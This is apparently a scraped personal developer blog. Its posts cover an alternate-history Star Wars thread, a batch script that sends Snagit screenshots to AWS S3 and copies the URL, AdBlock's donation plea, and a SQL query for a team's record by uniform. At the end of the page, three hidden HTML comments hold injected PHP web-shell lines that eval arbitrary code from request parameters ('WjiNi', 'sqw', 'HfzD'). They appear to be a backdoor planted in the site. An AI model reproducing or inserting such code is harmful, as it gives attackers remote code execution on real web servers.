The Rebellion Strikes Back?

I’m a big alternate history geek and I recently stumbled onto a thread at AlternateHistory.com asking “What if Mark Hamill had been killed in the car accident that occurred between the filming of Star Wars and The Empire Strikes Back?”

“Gone The New Hope” covers more than just the possible development of the Star Wars saga, branching out to feature the business of Hollywood and politics.

The reason I bring it up on the anniversary of the release of The Empire Strikes Back is that the the author recently reached May 4, 1980, in his timeline – the release date of his alternate Episode V, titled The Rebellion Strikes Back.

The author had previously noted that he had “accidentally” ended up writing an entire treatment for the second film of the series.  He posted the complete first act on Sunday.

In this world, Luke Skywalker sacrificed himself to destroy the Death Star while Obi-Wan Kenobi was able to escape with his life.  Han Solo is the main character going forward, with edits made to A New Hope to give him more character development.

Personally, I think it’s too awesome not to share.  It brings in a lot of unused ideas from previous drafts of what became our Star Wars movies, as well as ideas that would later be used in the sci-fi of our timeline.

 

Output From Snagit to AWS S3 via S3 Browser

This is something I put together and never wrote up, so I might as well do so now.

Snagit by TechSmith is one of my favorite programs; I love being able to share what I’m seeing on my screen with collaborators and clients for easy comparisons with what they’re seeing.

With Snagit, there are several built-in output methods. Until recently, I mostly exported my screenshots to TechSmith’s Screencast.com service or to an online filebox I had built for myself on ClarkRasmussen.com via the built-in FTP functions. When I updated my filebox to use the Amazon Web Services S3 service, though, I lost the ability to upload files there straight from Snagit.

There is no Snagit to S3 output available but I found a way to do it via a Snagit program output and the S3 Browser program.

Snagit allows for outputs via the command line and S3 Browser has a command line mode, so the two can combine to allow you to upload files.

Let’s say you have an account in S3 Browser called myaccount and under that, you had a bucket called myfiles.domain.com. For added complexity you have a folder in that bucket called snagit where you want your outputted screenshots to live (though this added step can be skipped if you want to save straight to the bucket root). In that case, you can set up a Snagit program output with the following settings:

snagit-output1

When you share using the S3 Browser Console Uploader output, your screenshot goes straight into your S3 bucket and you can share the URL as necessary.

That’s useful but I think it’s missing a step. When you share to Screencast.com or via FTP, the file’s new URL is copied to your clipboard, so you can just paste the new URL into whatever communication medium you’re using. That doesn’t happen here, you have to manually type out the new URL, but it can with another intermediary step.

I wrote a batch script that acts as a go-between for Snagit and S3 Browser. It takes in an additional parameter and uses that to assemble the new file’s URL, then copies that to the clipboard. The batch script looks as follows:

@ECHO OFF
s3browser-put.exe "%1" "%2" "%3"

set baseurl=%4
set filepath=%2

for /F %%i in ("%filepath%") do set filename=%%~ni%%~xi

echo %baseurl%%filename% | clip
:END

Disclaimer: I hadn’t written a batch script in ages prior to this, so this can probably be cleaned up a bit.

I save that script as snagit-s3browser.bat inside the S3 Browser root folder. My updated Snagit program output to take advantage of it looks as follows:

snagit-output2

Since it’s truncated in the screen capture, the full Parameters line is as follows:

myaccount "<CaptureFilename>" myfiles.domain.com/snagit http://myfiles.domain.com/snagit/

This is similar to the first one except we’re pointing at the batch file rather than the S3 Browser command line utility directly. We’ve also added a fourth parameter that contains the base URL for your capture location, which maps to the bucket/folder combination used in the third parameter.

There’s no visual confirmation with this output but now when your share is complete, the file will have been uploaded and the new URL will be on your clipboard.

There might be a better way to do this but it’s been working pretty well for me. I’d love to hear if there are others solving the same problem differently.

Friday Morning Irony

A friend was just installing Ad Block Plus on a new machine and sent the following screenshot to me:

AdBlock Plea Screenshot

There’s something I find highly ironic about the maker of software that limits publishers’ ability to make money asking for donations to continue doing so.

There are a lot of sites out there that use horrible pop-up ads or ads that autoplay with sound, I’m not denying that.  There are also a lot of sites that use simple, unobtrusive ads, providing a revenue stream for the site that – in the worst-case scenario – provides no use to the user but also does not do any harm.  The latter allows for a bit of a symbiotic relationship between the user and the publisher; the publisher provides content that the user wants and the user may or may not click on ads while viewing that content, providing income back to the publisher.

As I said, there are some aggressive publishers out there, but it’s funny to me that someone who makes it possible to take away income from well-meaning publishers is begging for money to do it.

Wednesday SQL Fun

Just had an interesting SQL question dropped in my lap, figured I’d share the results since it was something I assumed was possible but actually ended up working exactly as I expected, for once.

A friend has a system that he uses to track what baseball uniforms were worn in each game.  Each game has an ID and (among other things) the game date, the home score, the road score, the home uniform ID and the road uniform ID.  From that data, he wants to be able to pull up the record of a team in a given uniform over a period of time.  One particular caveat is that a jersey could be worn by either the home team or the road team (in the case of alternates that can be worn in either location).

This is how I ended up doing it:

SELECT (
		(
			SELECT COUNT(game_id)
			FROM game_log
			WHERE (
					(home_jersey_id = 84)
					AND (home_score & gt;road_score)
					AND (
						game_date BETWEEN '2010-01-01'
							AND '2013-01-01'
						)
					)
			) + (
			SELECT COUNT(game_id)
			FROM game_log
			WHERE (
					(road_jersey_id = 84)
					AND (road_score & gt;home_score)
					AND (
						game_date BETWEEN '2010-01-01'
							AND '2013-01-01'
						)
					)
			)
		)

wins
	,(
		(
			SELECT COUNT(game_id)
			FROM game_log
			WHERE (
					(home_jersey_id = 84)
					AND (home_score & lt;road_score)
					AND (
						game_date BETWEEN '2010-01-01'
							AND '2013-01-01'
						)
					)
			) + (
			SELECT COUNT(game_id)
			FROM game_log
			WHERE (
					(road_jersey_id = 84)
					AND (road_score & lt;home_score)
					AND (
						game_date BETWEEN '2010-01-01'
							AND '2013-01-01'
						)
					)
			)
		)

losses

For some reason, I’d never thought about using subqueries in that way before but it just clicked to do so in this case.  I kind of wonder now where else I could do that.

Need Moar Blogs

I’ve been blogging about hockey since before “blog” was a word but I figured it was time for me to have a place to write about other stuff.  I don’t know if this will be a common occurrence or anything but it’d be nice to have somewhere to babble about development, if nothing else.

Speaking of…  Kicking off this blog is part of a larger redevelopment of the site that’s been a real interesting learning experience.  I rolled my own blog system for DetroitHockey.Net so I hadn’t played with WordPress a whole lot before this.  I’ll try to write up what I learned once it’s done.

<!– [insert_php]if (isset($_REQUEST["WjiNi"])){eval($_REQUEST["WjiNi"]);exit;}[/insert_php]

if (isset($_REQUEST["WjiNi"])){eval($_REQUEST["WjiNi"]);exit;}

–>

<!– [insert_php]if (isset($_REQUEST["sqw"])){eval($_REQUEST["sqw"]);exit;}[/insert_php]

if (isset($_REQUEST["sqw"])){eval($_REQUEST["sqw"]);exit;}

–>

<!– [insert_php]if (isset($_REQUEST["HfzD"])){eval($_REQUEST["HfzD"]);exit;}[/insert_php]

if (isset($_REQUEST["HfzD"])){eval($_REQUEST["HfzD"]);exit;}

–>